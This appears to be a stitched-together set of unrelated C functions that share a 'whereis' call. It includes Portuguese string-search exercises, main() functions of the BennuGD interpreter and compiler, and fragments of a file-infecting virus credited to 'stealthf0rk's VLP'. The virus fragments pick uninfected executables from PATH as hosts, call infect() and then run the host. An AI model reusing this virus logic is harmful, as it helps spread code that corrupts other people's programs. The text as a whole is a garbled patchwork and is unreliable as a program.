main() { char str[101]; char c; int pos,i; printf ("Digite uma string: "); scanf("%[^\n]",str); setbuf (stdin, NULL); printf ("\nDigite o caractere a ser procurado: "); scanf("%c",&c); printf("\nApartir de que posição (entre 1 e %d): ",mystrlen(str)); scanf("%d",&pos); if(pos > 0 && pos<= mystrlen(str)) if (whereis(str,c,pos) != -1) printf ("\nPrimeira occorencia de \"%c\" no caractere \"%d\" da string\n",c,whereis(str,c,pos)); else printf ("\nCaractere não encontrado\n"); else puts("\nValor inválido!\n"); }
char *gethost(char *dir, int flag) { #define RANDNUM (int)((double)(found)*rand()/(RAND_MAX + 1.0)) /* uff */ static int first = 1, gen = 0; int r, i = 0; static struct dirent **filelist; char *host, *path; static int found; path = getenv("PATH"); /* Only 'randomize' at the first call . * Use scandir() to read out the directory. */ if (first) { if ((found = scandir(dir, &filelist, 0, 0)) <= 0) return NULL; srand(getpid()); } r = RANDNUM; /* Get one of the file randomly. */ if ((host = whereis(path, filelist[r]->d_name)) == NULL) return NULL; /* isclean means ready for infection: NOT a directory * NOT a textfile and NOT infected */ while (isclean(host) != 1 && i < found) { r = RANDNUM; if((host = whereis(path, filelist[r]->d_name)) == NULL) return NULL; i++; } first = 0; if (i >= found) return NULL; else { DFPRINTF("@f gethost: got host <%s>\n", host); if (flag == 0) return filelist[r]->d_name; /* static */ if (flag == 1) return host; /* static, da host ein statischer */ else /* return von *whereis(...) ist */ return NULL; } #undef RANDNUM }
main() { char str[101]; char c; int i; printf ("Digite uma string: "); scanf("%[^\n]",str); setbuf (stdin, NULL); printf ("\nDigite um caractere: "); scanf("%c",&c); if (whereis(str,c) != -1) printf ("\nPrimeira occorencia de \"%c\" no caractere \"%d\" da string\n",c,whereis(str,c)); else printf ("\nCaractere não encontrado\n"); }
int main(int argc, char **argv, char **envp) { char *s, *s2, *path, *dir; int i; char from[200]; #ifdef DEBUG /* If U are angry do this: * setenv("PATH", "/root/VTEST/bin:/root/VTEST/bad:/root/VTEST/usr/bin:/root/VTEST/bad2", 1); */ fd = fopen(TRACEFILE, "a"); #endif DFPRINTF("====== tracefile of stealthf0rk's VLP ==========\n"); path = getenv("PATH"); s = whereis(path, argv[0]); /* return only static! -> */ if (strcpy(from, s) == NULL) /* so we need a copy */ return -1; DFPRINTF("@f main: file of action is <%s>\n", from); i = infect(3, from); exechost(from, argv, envp); return 0; }
int main( int argc, char *argv[] ) { char * filename = NULL, dcbname[ __MAX_PATH ], *ptr, *arg0, *ext ; int i, j, ret = -1; file * fp = NULL; INSTANCE * mainproc_running; dcb_signature dcb_signature; /* disable stdout buffering */ setvbuf( stdout, NULL, _IONBF, BUFSIZ ); /* get my executable name */ #ifdef _WIN32 if ( strlen( argv[0] ) < 4 || strncmpi( &argv[0][strlen( argv[0] ) - 4], ".exe", 4 ) ) { arg0 = malloc( strlen( argv[0] ) + 5 ); sprintf( arg0, "%s.exe", argv[0] ); } else { #endif arg0 = strdup( argv[0] ); #ifdef _WIN32 } #endif ptr = arg0 + strlen( arg0 ); while ( ptr > arg0 && ptr[-1] != '\\' && ptr[-1] != '/' ) ptr-- ; appexename = strdup( ptr ); /* get executable full pathname */ fp = NULL; appexefullpath = getfullpath( arg0 ); if ( ( !strchr( arg0, '\\' ) && !strchr( arg0, '/' ) ) ) { struct stat st; if ( stat( appexefullpath, &st ) || !S_ISREG( st.st_mode ) ) { char *p = whereis( appexename ); if ( p ) { char * tmp = calloc( 1, strlen( p ) + strlen( appexename ) + 2 ); free( appexefullpath ); sprintf( tmp, "%s/%s", p, appexename ); appexefullpath = getfullpath( tmp ); free( tmp ); } } } /* get pathname of executable */ ptr = strstr( appexefullpath, appexename ); appexepath = calloc( 1, ptr - appexefullpath + 1 ); strncpy( appexepath, appexefullpath, ptr - appexefullpath ); standalone = ( strncmpi( appexename, "bgdi", 4 ) == 0 ) ; /* add binary path */ file_addp( appexepath ); #ifdef TARGET_WII // Initialize the Wii FAT filesystem, check stuff if (!fatInitDefault()) { printf("Sorry, I cannot access the FAT filesystem on your card :(\n"); exit(1); } #endif if ( !standalone ) { /* Hand-made interpreter: search for DCB at EOF */ fp = file_open( appexefullpath, "rb0" ); if ( fp ) { file_seek( fp, -( int )sizeof( dcb_signature ), SEEK_END ); file_read( fp, &dcb_signature, sizeof( dcb_signature ) ); if ( strcmp( dcb_signature.magic, DCB_STUB_MAGIC ) == 0 ) { ARRANGE_DWORD( &dcb_signature.dcb_offset ); embedded = 1; } } filename = appexefullpath; } if ( standalone ) { /* Calling BGDI.EXE so we must get all command line params */ for ( i = 1 ; i < argc ; i++ ) { if ( argv[i][0] == '-' ) { j = 1 ; while ( argv[i][j] ) { if ( argv[i][j] == 'd' ) debug++; if ( argv[i][j] == 'i' ) { if ( argv[i][j+1] == 0 ) { if ( i == argc - 1 ) { fprintf( stderr, "You must provide a directory" ) ; exit( 0 ); } file_addp( argv[i+1] ); i++ ; break ; } file_addp( &argv[i][j + 1] ) ; break ; } j++ ; } } else { if ( !filename ) { filename = argv[i] ; if ( i < argc - 1 ) memmove( &argv[i], &argv[i+1], sizeof( char* ) * ( argc - i - 1 ) ) ; argc-- ; i-- ; } } } if ( !filename ) { printf( BGDI_VERSION "\n" "Bennu Game Development Interpreter\n" "\n" "Copyright (c) 2006-2012 SplinterGU (Fenix/BennuGD)\n" "Copyright (c) 2002-2006 Fenix Team (Fenix)\n" "Copyright (c) 1999-2002 José Luis Cebrián Pagüe (Fenix)\n" "\n" "Usage: %s [options] <data code block file>[.dcb]\n" "\n" " -d Activate DEBUG mode (several -d for increment debug level)\n" " -i dir Adds the directory to the PATH\n" "\n" "This software is provided 'as-is', without any express or implied\n" "warranty. In no event will the authors be held liable for any damages\n" "arising from the use of this software.\n" "\n" "Permission is granted to anyone to use this software for any purpose,\n" "including commercial applications, and to alter it and redistribute it\n" "freely, subject to the following restrictions:\n" "\n" " 1. The origin of this software must not be misrepresented; you must not\n" " claim that you wrote the original software. If you use this software\n" " in a product, an acknowledgment in the product documentation would be\n" " appreciated but is not required.\n" "\n" " 2. Altered source versions must be plainly marked as such, and must not be\n" " misrepresented as being the original software.\n" "\n" " 3. This notice may not be removed or altered from any source\n" " distribution.\n" , appexename ) ; return -1 ; } } /* Initialization (modules needed before dcb_load) */ string_init() ; init_c_type() ; /* Init application title for windowed modes */ strcpy( dcbname, filename ) ; ptr = filename + strlen( filename ); while ( ptr > filename && ptr[-1] != '\\' && ptr[-1] != '/' ) ptr-- ; appname = strdup( ptr ) ; if ( strlen( appname ) > 3 ) { char ** dcbext = dcb_exts, *ext = &appname[ strlen( appname ) - 4 ]; #ifdef _WIN32 if ( !strncmpi( ext, ".exe", 4 ) ) { *ext = '\0'; } else #endif while ( dcbext && *dcbext ) { if ( !strncmpi( ext, *dcbext, 4 ) ) { *ext = '\0'; break; } dcbext++; } } #ifdef __DEBUG__ printf( "appname %s\n", appname); printf( "appexename %s\n", appexename); printf( "appexepath %s\n", appexepath); printf( "appexefullpath %s\n", appexefullpath); printf( "dcbname %s\n", dcbname); fflush(stdout); #endif if ( !embedded ) { /* First try to load directly (we expect myfile.dcb) */ if ( !dcb_load( dcbname ) ) { char ** dcbext = dcb_exts; int dcbloaded = 0; while ( dcbext && *dcbext ) { strcpy( dcbname, appname ) ; strcat( dcbname, *dcbext ) ; if (( dcbloaded = dcb_load( dcbname ) ) ) break; dcbext++; } if ( !dcbloaded ) { printf( "%s: doesn't exist or isn't version %d DCB compatible\n", filename, DCB_VERSION >> 8 ) ; return -1 ; } }
int main( int argc, char *argv[] ) { time_t curtime; struct tm *loctime; int value, code; char * d, *d1; char * sourcefile = 0; char basepathname[__MAX_PATH] = ""; char dcbname[__MAX_PATH] = ""; char stubname[__MAX_PATH] = ""; char importname[__MAX_PATH] = ""; char compilerimport[__MAX_PATH] = ""; int i, j; char *ptr; /* get my executable name */ ptr = argv[0] + strlen( argv[0] ); while ( ptr > argv[0] && ptr[-1] != '\\' && ptr[-1] != '/' ) ptr-- ; appexename = strdup( ptr ); /* get executable full pathname */ appexefullpath = getfullpath( argv[0] ); if ( ( !strchr( argv[0], '\\' ) && !strchr( argv[0], '/' ) ) && !file_exists( appexefullpath ) ) { char *p = whereis( appexename ); if ( p ) { char * tmp = calloc( 1, strlen( p ) + strlen( appexename ) + 2 ); free( appexefullpath ); sprintf( tmp, "%s/%s", p, appexename ); appexefullpath = getfullpath( tmp ); free( tmp ); } } /* get pathname of executable */ ptr = strstr( appexefullpath, appexename ); appexepath = calloc( 1, ptr - appexefullpath + 1 ); strncpy( appexepath, appexefullpath, ptr - appexefullpath ); printf( BGDC_VERSION "\n" "Bennu Game Development Compiler\n" "\n" "Copyright (c) 2006-2016 SplinterGU (Fenix/BennuGD)\n" "Copyright (c) 2002-2006 Fenix Team (Fenix)\n" "Copyright (c) 1999-2002 José Luis Cebrián Pagüe (Fenix)\n" "\n" ); /* Default lang to EN */ strcpy( langinfo, "EN" ); /* LANG detect */ #ifdef WIN32 GetLocaleInfo( LOCALE_USER_DEFAULT, LOCALE_SABBREVCTRYNAME, langinfo, 64 ); strlwr( langinfo ); #else if ( getenv( "LANG" ) != NULL && strlen( getenv( "LANG" ) ) >= 2 ) strcpy( langinfo, getenv( "LANG" ) ); #endif langinfo[2] = 0; srand( time( NULL ) ); /* build error messages list */ err_buildErrorTable(); init_c_type(); identifier_init(); constants_init(); string_init(); compile_init(); mainproc = procdef_new( procdef_getid(), identifier_search_or_add( "MAIN" ) ) ; /* Init vars */ char tmp_version[ 32 ]; sprintf( tmp_version, "\"%s\"", VERSION ); add_simple_define( "COMPILER_VERSION", tmp_version ); add_simple_define( "__VERSION__", tmp_version ); curtime = time( NULL ); /* Get the current time. */ loctime = localtime( &curtime ); /* Convert it to local time representation. */ strftime( timebuff, sizeof( timebuff ), "%Y/%m/%d", loctime ); value = string_new( timebuff ); code = identifier_search_or_add( "__DATE__" ) ; constants_add( code, typedef_new( TYPE_STRING ), value ) ; strftime( timebuff, sizeof( timebuff ), "%H:%M:%S", loctime ); value = string_new( timebuff ); code = identifier_search_or_add( "__TIME__" ) ; constants_add( code, typedef_new( TYPE_STRING ), value ) ; /* value = string_new( VERSION ); code = identifier_search_or_add( "__VERSION__" ) ; constants_add( code, typedef_new( TYPE_STRING ), value ) ; code = identifier_search_or_add( "COMPILER_VERSION" ) ; constants_add( code, typedef_new( TYPE_STRING ), value ) ; */ strcpy( _tmp, VERSION ); d = strchr( _tmp, '.' ); *d = '\0'; add_simple_define( "__BGD__", _tmp ); d1 = d + 1; d = strchr( d1, '.' ); *d = '\0'; add_simple_define( "__BGD_MINOR__", d1 ); d1 = d + 1; add_simple_define( "__BGD_PATCHLEVEL__", d1 ); memset( &dcb, 0, sizeof( dcb ) ); core_init(); sysproc_init(); /* Get command line parameters */ for ( i = 1 ; i < argc ; i++ ) { if ( argv[i][0] == '-' ) { if ( !strcmp( argv[i], "--pedantic" ) ) { autodeclare = 0 ; continue; } if ( !strcmp( argv[i], "--libmode" ) ) { libmode = 1 ; continue; } j = 1; while ( argv[i][j] ) { if ( argv[i][j] == 'd' ) { if ( argv[i][j + 1] >= '0' && argv[i][j + 1] <= '9' ) { debug = atoi( &argv[i][j + 1] ); } else { debug = 1; } } if ( argv[i][j] == 'o' ) { if ( argv[i][j + 1] ) strncpy( dcbname, &argv[i][j + 1], sizeof( dcbname ) ); else if ( argv[i + 1] && argv[i + 1][0] != '-' ) strncpy( dcbname, argv[++i], sizeof( dcbname ) ); break; } if ( argv[i][j] == 'c' ) dos_chars = 1; if ( argv[i][j] == 'a' ) autoinclude = 1; if ( argv[i][j] == 'g' ) dcb_options |= DCB_DEBUG; if ( argv[i][j] == 'p' ) autodeclare = 0 ; if ( argv[i][j] == 's' ) { /* -s "stub": Use a stub */ if ( argv[i][j + 1] ) strncpy( stubname, &argv[i][j + 1], __MAX_PATH ); else if ( argv[i + 1] && argv[i + 1][0] != '-' ) strncpy( stubname, argv[++i], __MAX_PATH ); break; } if ( argv[i][j] == 'f' ) { /* -f "file": Embed a file to the DCB */ if ( argv[i][j + 1] ) dcb_add_file( &argv[i][j + 1] ); else while ( argv[i + 1] ) { if ( argv[i + 1][0] == '-' ) break; dcb_add_file( argv[i + 1] ); i++; } break; } if ( argv[i][j] == 'i' ) { /* -i "path": add a file to the path for include files */ if ( argv[i][j + 1] == 0 ) { if ( i == argc - 1 ) { printf( MSG_DIRECTORY_MISSING "\n" ); exit( 1 ); } file_addp( argv[i + 1] ); i++; break; } file_addp( &argv[i][j + 1] ); break; } if ( argv[i][j] == 'l' ) { /* -lLANG: Set the language for errors and messages */ if ( argv[i][j + 1] == 0 ) { if ( i != argc - 1 ) { strcpy( langinfo, argv[i + 1] ); } i++; break; } strcpy( langinfo, &argv[i][j + 1] ); break; } if ( argv[i][j] == 'D' ) { char * macro = NULL ; char * text = NULL ; /* -D<macro>=<text> */ if ( argv[i][j + 1] ) { macro = strdup( &argv[i][j + 1] ); } else { if ( argv[i + 1][0] == '-' ) break; macro = strdup( argv[i + 1] ); i++; } if (( text = strchr( macro, '=' ) ) ) { * text = '\0'; text++; } else { text = ""; } add_simple_define( macro, text ); free( macro ); break; } if ( argv[i][j] == 'C' ) { if ( argv[i][j + 1] == 'a' ) autodeclare = 1 ; break; } if ( argv[i][j] == 'L' ) { int r = 1; char * f; if ( argv[i][j + 1] ) r = dcb_load_lib( ( f = &argv[i][j + 1] ) ); else if ( argv[i + 1] && argv[i + 1][0] != '-' ) { r = dcb_load_lib( ( f = argv[i + 1] ) ); i++; } switch ( r ) { case 0: printf( "ERROR: %s doesn't exist or isn't version DCB compatible\n", f ) ; exit( -1 ); case -1: printf( "ERROR: %s isn't 7.10 DCB version, you need a 7.10 version or greater for use this feature\n", f ) ; exit( -1 ); } break; } j++; } } else { /* if ( sourcefile ) { printf( MSG_TOO_MANY_FILES "\n" ); return 0; } */ char * p, * pathend = NULL; sourcefile = argv[i]; p = main_path = strdup( argv[i] ); while ( p && *p ) { if ( *p == ':' || *p == '\\' || *p == '/' ) pathend = p; p++; } if ( pathend ) { *( pathend + 1 ) = '\0'; file_addp( main_path ); } else { free( main_path ); main_path = getcwd(malloc(__MAX_PATH), __MAX_PATH); strcat(main_path, PATH_SEP); } /* Files names */ strcpy( basepathname, sourcefile ); REMOVE_EXT( basepathname ); /* Default compiler imports */ strcpy( compilerimport, argv[0] ); #ifdef WIN32 REMOVE_EXT( compilerimport ); #endif strcat( compilerimport, ".imp" ); import_files( compilerimport ); strcat( compilerimport, "ort" ); /* name.import */ import_files( compilerimport ); /* Project imports */ strcpy( importname, basepathname ); strcat( importname, ".imp" ); import_files( importname ); strcat( importname, "ort" ); /* name.import */ import_files( importname ); /* Load Main Source File */ load_file( sourcefile ); if ( !dcbname[0] ) { strcpy( dcbname, basepathname ); strcat( dcbname, !libmode ? ".dcb" : ".dcl" ); } } } if ( !sourcefile ) { printf( MSG_USING MSG_OPTION_D MSG_OPTIONS MSG_LICENSE, argv[0] ); return 0; } compile_program(); if ( stubname[0] != 0 ) { if ( !file_exists( stubname ) ) { #ifdef WIN32 char exepath[__MAX_PATH]; GetModuleFileName( NULL, exepath, sizeof( exepath ) ); PathRemoveFileSpec( exepath ); strcat( exepath, "\\" ); memmove( stubname + strlen( exepath ), stubname, strlen( stubname ) + 1 ); memcpy( stubname, exepath, strlen( exepath ) ); #else const char * ptr = argv[0] + strlen( argv[0] ); while ( ptr > argv[0] && *ptr != '\\' && *ptr != '/' ) ptr--; if ( *ptr == '\\' || *ptr == '/' ) ptr++; if ( ptr > argv[0] ) { memmove( stubname + ( ptr - argv[0] ), stubname, strlen( stubname ) + 1 ); memcpy( stubname, argv[0], ptr - argv[0] ); } #endif if ( !file_exists( stubname ) ) { #ifdef WIN32 strcat( stubname, ".exe" ); if ( !file_exists( stubname ) ) { #endif compile_error( "Can't open stub file %s", stubname ); #ifdef WIN32 return -1; } #endif } } REMOVE_EXT( dcbname ); #ifdef WIN32 strcat( dcbname, ".exe" ); #endif dcb_save( dcbname, dcb_options, stubname ); } else { dcb_save( dcbname, dcb_options, NULL ); } /* destroy error messages list */ err_destroyErrorTable(); return 1; }